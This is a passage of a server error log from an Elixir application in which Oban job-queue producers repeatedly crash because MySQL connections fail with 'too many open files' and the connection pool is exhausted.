    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:00:02.243142Z], limit: 20, uuid: "345a6197-145b-4387-aee1-5e8a3f05f0f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:02.243147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41907>, refresh_timer: #Reference<0.2525715032.1068498948.41887>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:15.533000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:15.646000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:15.718000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:17.365000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:18.066000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:19.410000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:22.086000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:24.049000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:00:14.241180Z], limit: 20, uuid: "156e7d42-5226-47f3-b248-9107e0e9a4d0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:14.241185Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15674>, refresh_timer: #Reference<0.2525715032.1077673987.15673>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 821ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:00:14.240471Z], limit: 5, uuid: "5b6317d1-a7f9-4f99-b0dd-ca0e5308ed24", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:14.240476Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.42253>, refresh_timer: #Reference<0.2525715032.1077673987.15658>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 805ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:00:14.239568Z], limit: 5, uuid: "f634e767-7f87-437f-8309-5671296e1bb3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:14.239574Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.42254>, refresh_timer: #Reference<0.2525715032.1077673987.15635>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:00:14.239765Z], limit: 50, uuid: "bd995381-ca27-45ef-bcc9-119a5ccbc7a7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:14.239770Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15675>, refresh_timer: #Reference<0.2525715032.1077673987.15642>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:00:14.240041Z], limit: 3, uuid: "d4dbdcf2-6c6d-4650-8758-78d116e9185f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:14.240046Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.42255>, refresh_timer: #Reference<0.2525715032.1077673987.15654>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:25.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:00:14.239839Z], limit: 10, uuid: "55671a2d-2849-4c01-94d0-6d75b5e06850", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:14.239845Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.42252>, refresh_timer: #Reference<0.2525715032.1099431938.39173>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:30.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:31.426000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:33.723000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:34.990000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:00:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:00:25.239740Z], limit: 10, uuid: "3178a51a-d58b-42dc-ac50-f4ebdc3f2599", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:00:25.239746Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15775>, refresh_timer: #Reference<0.2525715032.1099431938.39309>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:00:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
